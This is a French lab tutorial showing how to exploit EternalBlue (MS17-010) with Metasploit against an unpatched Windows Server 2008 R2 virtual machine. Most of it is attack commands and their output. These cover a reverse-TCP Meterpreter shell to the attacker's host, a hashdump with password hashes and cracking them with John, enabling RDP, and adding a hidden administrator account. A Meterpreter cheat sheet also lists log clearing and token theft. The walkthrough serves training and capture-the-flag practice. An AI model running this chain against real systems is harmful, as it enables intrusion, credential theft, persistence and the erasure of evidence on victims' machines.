Exploiter EternalBlue avec metasploit
Auteur : Vincent Lainé
Qu'est-ce qu'EternalBlue ?
EternalBlue est un exploit très probablement développé par la NSA en tant qu'ancien zero-day. Il a été publié en 2017 par les Shadow Brokers , un groupe de hackers connu pour avoir divulgué des outils et des exploits utilisés par le groupe Equation , qui a des liens possibles avec l'unité Tailored Access Operations de la NSA.
EternalBlue, également connu sous le nom de MS17-010 , est une vulnérabilité du protocole Server Message Block (SMB) de Microsoft. SMB permet aux systèmes de partager l'accès aux fichiers, imprimantes et autres ressources sur le réseau. La vulnérabilité est autorisée car les versions antérieures de SMB contiennent une faille qui permet à un attaquant d'établir une connexion de session nulle via une connexion anonyme. Un attaquant peut alors envoyer des paquets malformés et finalement exécuter des commandes arbitraires sur la cible.
[!info]
EternalBlue était principalement responsable des épidémies de rançongiciels WannaCry , NotPetya et BadRabbit, ainsi que du ver EternalRocks.
Exploitez EternalBlue avec Metasploit
Nous utiliserons une copie non corrigée de Windows Server 2008 R2 comme cible. Télécharger la machine : https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ https://files.vlne.fr:/sharing/G18pdiNgi
1 - Trouver un module à utiliser
La première chose que nous devons faire est d'ouvrir le terminal et de démarrer Metasploit . Tapez service postgresql start pour initialiser la base de données PostgreSQL, si elle n'est pas déjà en cours d'exécution, suivi de msfconsole .
service postgresql start
msfconsole
Ensuite, utilisez la commande de recherche dans Metasploit pour localiser un module approprié à utiliser.
search eternalblue
msf6 > search eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
Il existe un scanner auxiliaire que nous pouvons exécuter pour déterminer si une cible est vulnérable à MS17-010 . C'est toujours une bonne idée d'effectuer la reconnaissance nécessaire comme celle-ci. Sinon, vous risquez de perdre beaucoup de temps si la cible n'est même pas vulnérable.
Une fois que nous avons déterminé que notre cible est effectivement vulnérable à EternalBlue, nous pouvons utiliser le module d'exploit suivant de la recherche que nous venons de faire.
use exploit/windows/smb/ms17_010_eternalblue
Vous saurez que vous êtes bon si vous voyez l'invite
"msf6 exploit(windows/smb/ms17_010_eternalblue).
2 - Exécutez le module
Nous pouvons jeter un œil aux paramètres actuels avec la commande options .
options
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target m
achines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machi
nes.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.197 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Tout d'abord, nous devons spécifier l'adresse IP de la cible.
set rhosts 192.168.1.198
options :
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.1.198 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target m
achines.
Ensuite, nous pouvons charger le shell reverse_tcp en tant que payload .
set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Enfin, définissez l'hôte d'écoute sur l'adresse IP de notre machine locale.
msf6 exploit(windows/smb/ms17_010_eternalblue) > ip a
[*] exec: ip a
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:2d:73:73 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.197/24 brd 192.168.1.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 2a01:cb00:200:900:20c:29ff:fe2d:7373/64 scope global dynamic mngtmpaddr
valid_lft 86350sec preferred_lft 550sec
inet6 fe80::20c:29ff:fe2d:7373/64 scope link
set lhost 192.168.1.197
lhost => 192.168.1.198
Et le port d'écoute à un numéro approprié.
set lport 4321
lport => 4321
Cela devrait être tout, donc la seule chose à faire est de lancer l'exploit. Utilisez la commande run pour le déclencher.
run
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.1.197:4321
[*] 192.168.1.198:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.198:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.198:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.198:445 - The target is vulnerable.
[*] 192.168.1.198:445 - Connecting to target for exploitation.
[+] 192.168.1.198:445 - Connection established for exploitation.
[+] 192.168.1.198:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.198:445 - CORE raw buffer dump (53 bytes)
[*] 192.168.1.198:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.1.198:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris
[*] 192.168.1.198:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P
[*] 192.168.1.198:445 - 0x00000030 61 63 6b 20 31 ack 1
[+] 192.168.1.198:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.198:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.198:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.198:445 - Starting non-paged pool grooming
[+] 192.168.1.198:445 - Sending SMBv2 buffers
[+] 192.168.1.198:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.198:445 - Sending final SMBv2 buffers.
[*] 192.168.1.198:445 - Sending last fragment of exploit packet!
[*] 192.168.1.198:445 - Receiving response from exploit packet
[+] 192.168.1.198:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.198:445 - Sending egg to corrupted connection.
[*] 192.168.1.198:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.198
[*] Meterpreter session 1 opened (192.168.1.197:4321 -> 192.168.1.198:49160) at 2023-01-25 19:52:43 +0000
[+] 192.168.1.198:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.198:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.198:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Nous voyons quelques choses se produire ici, comme l'établissement de la connexion SMB et l'envoi du paquet d'exploit. Enfin, nous voyons un "WIN" et une session Meterpreter est ouverte.
Parfois, cet exploit ne se terminera pas avec succès la première fois, donc s'il ne se contente pas de réessayer et qu'il devrait passer.
3 - Vérifier que la cible est compromise
Nous pouvons vérifier que nous avons compromis la cible en exécutant des commandes telles que sysinfo pour obtenir des informations sur le système d'exploitation.
sysinfo
meterpreter > sysinfo
Computer : WIN-TUQ7V1077LH
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter >
Et getuid pour obtenir le nom d'utilisateur actuel.
getuid
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
On peux vérifier que nous sommes bien connecté à la bonne adresse :
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:bd:51:85
MTU : 1500
IPv4 Address : 192.168.1.198
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2a01:cb00:200:900:d8bf:1c96:e218:20c4
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::d8bf:1c96:e218:20c4
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:1c6
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
meterpreter >
####Meterpreter cheat sheet
cat read and output to stdout the contents of a file
cd change directory on the victim
del delete a file on the victim
download download a file from the victim system to the attacker system
edit edit a file with vim
getlwd print the local directory
getwd print working directory
lcd change local directory
lpwd print local directory
ls list files in current directory
mkdir make a directory on the victim system
pwd print working directory
rm delete (remove) a file
rmdir remove directory on the victim system
upload upload a file from the attacker system to the victim
? help menu
background moves the current session to the background
bgkill kills a background meterpreter script
bglist provides a list of all running background scripts
bgrun runs a script as a background thread
channel displays active channels
close closes a channel
exit terminates a meterpreter session
exploit executes the meterpreter script designated after it
help help menu
interact interacts with a channel
irb go into Ruby scripting mode
migrate moves the active process to a designated PID
quit terminates the meterpreter session
read reads the data from a channel
run executes the meterpreter script designated after it
use loads a meterpreter extension
write writes data to a channel
ipconfig displays network interfaces with key information including IP address, etc.
portfwd forwards a port on the victim system to a remote service
route view or modify the victim routing table
clearev clears the event logs on the victim's computer
drop_token drops a stolen token
execute executes a command
getpid gets the current process ID (PID)
getprivs gets as many privileges as possible
getuid get the user that the server is running as
kill terminate the process designated by the PID
ps list running processes
reboot reboots the victim computer
reg interact with the victim's registry
rev2self calls RevertToSelf() on the victim machine
shell opens a command shell on the victim machine
shutdown shuts down the victim's computer
steal_token attempts to steal the token of a specified (PID) process
sysinfo gets the details about the victim computer such as OS and name
Prendre la main à distance ?
Récupérer les mots de passes :
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c1852f90075fe0f465bba91ba29950b8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
zack:1006:aad3b435b51404eeaad3b435b51404ee:43364453cfb9aedceba9762d932a315c:::
Puis on peux tenter un crack de mot de passe :
echo "Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::" > hash.txt
John a besoin de 3 paramètres :
- Le format de cryptage, (les mots de passes windows 7 utilisent le format NT)
- Un dictionnaire de mot (nous utiliserons rockyou.txt)
- Le fichier de mot de passe à casser (hash.txt)
- Pour cet exemple, essayez d'ajouter le mot de passe "lqaz@WSX345#$%" à votre wordlist.
john --format=NT --wordlist=/home/shared/pentest/wordlists/rockyou.txt hash.txt
Escalation de privilèges :
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter >
Activer RDP :
meterpreter > run post/windows/manage/enable_rdp u=kali
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /home/vlaine/.msf4/loot/20230125201317_default_192.168.1.198_host.windows.cle_861552.txt
Accéder au shell :
meterpreter > shell
Process 968 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Créer un user :
C:\Windows\system32>net user vincent ViN$£nT12345 /add
net user vincent ViN$£nT12345 /add
The command completed successfully.
C:\Windows\system32>
On s'ajoute au groupe admin et remote desktop :
C:\Windows\system32>net localgroup Administrators vincent /add
net localgroup Administrators vincent /add
The command completed successfully.
C:\Windows\system32>net localgroup "Remote Desktop users" vincent /add
net localgroup "Remote Desktop users" vincent /add
The command completed successfully.
Vérifier avec :
C:\Windows\system32>net user vincent
net user vincent
User name vincent
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/25/2023 8:22:31 PM
Password expires 3/8/2023 8:22:31 PM
Password changeable 1/25/2023 8:22:31 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Remote Desktop Users
*Users
Global Group memberships *None
The command completed successfully.
C:\Windows\system32>
Puis let's go :
N'hésitez pas a tester d'autres choses et a consulter les liens plus bas ! Trouvez le flag caché ensuite dans la machine.
[!info]
Prévention et état actuel
Malgré tous les dégâts qu'EternalBlue a causés, il existe un moyen fiable d'empêcher ces types d'exploits : corrigez vos systèmes ! À ce stade, près de deux ans après la révélation de ces vulnérabilités, il n'y a vraiment aucune excuse pour avoir des systèmes d'exploitation non corrigés.
Cependant, EternalBlue continue d'être un problème et même si les conséquences sont désastreuses, certaines organisations continueront malheureusement d'utiliser des systèmes non corrigés. Cela, combiné aux versions piratées de Windows, fait d'EternalBlue une menace importante à ce jour.
Liens utiles :
https://www.varonis.com/blog/windows-bluekeep-vulnerability-deja-vu-again-with-rdp-security-weaknesses https://www.youtube.com/watch?v=zKizx80w4Rk https://github.com/EEsshq/CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution https://learn.microsoft.com/en-us/answers/questions/370265/the-remote-session-was-disconnected-because-there https://www.partitionwizard.com/partitionmanager/the-remote-session-was-disconnected.html https://www.coengoedegebure.com/hacking-windows-with-meterpreter/#anchor_createanewaccount https://github.com/rapid7/metasploit-framework/issues/8844 https://0xdf.gitlab.io/2021/05/11/htb-blue.html#shell-as-system https://www.cyberlife.blog/hack-windows-eternal-blue/ https://darkstar7471.com/resources.html